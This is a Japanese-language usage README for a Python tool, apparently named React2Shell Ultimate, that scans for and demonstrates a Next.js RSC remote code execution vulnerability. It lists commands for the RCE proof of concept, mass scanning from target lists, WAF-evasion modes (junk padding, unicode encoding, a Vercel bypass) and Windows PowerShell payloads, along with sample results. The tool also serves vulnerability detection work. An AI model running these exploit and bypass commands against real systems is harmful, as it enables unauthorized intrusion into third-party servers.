╔════════════════════════════════════════════════════════════════════════╗
║     ____                 _   ___  ____  _          _ _                 ║
║    |  _ \ ___  __ _  ___| |_|__ \/ ___|| |__   ___| | |                ║
║    | |_) / _ \/ _` |/ __| __| / /\___ \| '_ \ / _ \ | |                ║
║    |  _ <  __/ (_| | (__| |_ / /_ ___) | | | |  __/ | |                ║
║    |_| \_\___|\__,_|\___|\__|____|____/|_| |_|\___|_|_|                ║
║                                                                        ║
║            React2Shell Ultimate CVE-2025-66478 スキャナー v1.0.0      ║
║          Next.js RSC リモートコード実行脆弱性                           ║
╠════════════════════════════════════════════════════════════════════════╣
║                                                                        ║
║                                                                        ║
╠════════════════════════════════════════════════════════════════════════╣
║  モード: --safe (サイドチャネル) | --rce (PoC) | --version | --local   ║
║  WAF回避: --waf-bypass | --vercel-bypass | --unicode                    ║
╚════════════════════════════════════════════════════════════════════════╝

# リポジトリのクローン
git clone https://github.com/hackersatyamrastogi/react2shell-ultimate.git
cd react2shell-ultimate

# 依存関係のインストール
pip install -r requirements.txt

# または手動でインストール
pip install requests tqdm

# バージョン検出のみ（最速、悪用なし）
python3 react2shell-ultimate.py -u https://target.com --version

# 安全なサイドチャネル検出（コード実行なし）
python3 react2shell-ultimate.py -u https://target.com --safe

# RCE 概念実証（無害な計算を実行：41*271=11111）
python3 react2shell-ultimate.py -u https://target.com --rce

# すべての回避試行を含む包括的スキャン
python3 react2shell-ultimate.py -u https://target.com --comprehensive

# ファイルから複数のターゲットをスキャン
python3 react2shell-ultimate.py -l targets.txt -t 20 -o results.json

# クワイエットモード - 脆弱なホストのみ表示
python3 react2shell-ultimate.py -l targets.txt -q

# JSON出力を標準出力へ
python3 react2shell-ultimate.py -l targets.txt --json

# カレントディレクトリをスキャン
python3 react2shell-ultimate.py --local .

# 特定のプロジェクトパスをスキャン
python3 react2shell-ultimate.py --local /path/to/nextjs/projects

# ジャンクデータバイパス（128KBのパディングを追加してコンテンツ検査を回避）
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass

# カスタムジャンクデータサイズ
python3 react2shell-ultimate.py -u https://target.com --rce --waf-bypass --waf-bypass-size 256

# Unicodeエンコーディングバイパス
python3 react2shell-ultimate.py -u https://target.com --rce --unicode

# Vercel固有のWAFバイパス
python3 react2shell-ultimate.py -u https://target.com --rce --vercel-bypass

# Windowsターゲット（PowerShellペイロード）
python3 react2shell-ultimate.py -u https://target.com --rce --windows

# プロキシを使用
python3 react2shell-ultimate.py -u https://target.com --rce --proxy http://127.0.0.1:8080

# カスタムヘッダー
python3 react2shell-ultimate.py -u https://target.com --rce -H "Authorization: Bearer token"

# タイムアウトの延長
python3 react2shell-ultimate.py -u https://target.com --rce --timeout 30

# 詳細出力
python3 react2shell-ultimate.py -u https://target.com --comprehensive -v

[VULNERABLE] https://target.com
    Version: 15.3.1 | Status: 200 | Method: rce_poc
    WAF Bypass: SUCCESS

[NOT VULNERABLE] https://safe-target.com
    Version: 15.5.7 | Status: 200 | Method: http_headers

[WAF BLOCKED] https://protected.com
    Version: 15.2.0 | Status: 403 | Method: rce_poc
    WAF Detected: Exploit blocked

{
  "tool": "React2Shell Ultimate CVE-2025-66478 Scanner",
  "version": "1.0.0",
  "cve_ids": ["CVE-2025-55182", "CVE-2025-66478"],
  "scan_time": "2025-12-06T12:00:00Z",
  "total_results": 1,
  "results": [
    {
      "url": "https://target.com",
      "vulnerable": true,
      "version": "15.3.1",
      "status_code": 200,
      "detection_method": "rce_poc",
      "waf_detected": false,
      "waf_bypassed": false
    }
  ]
}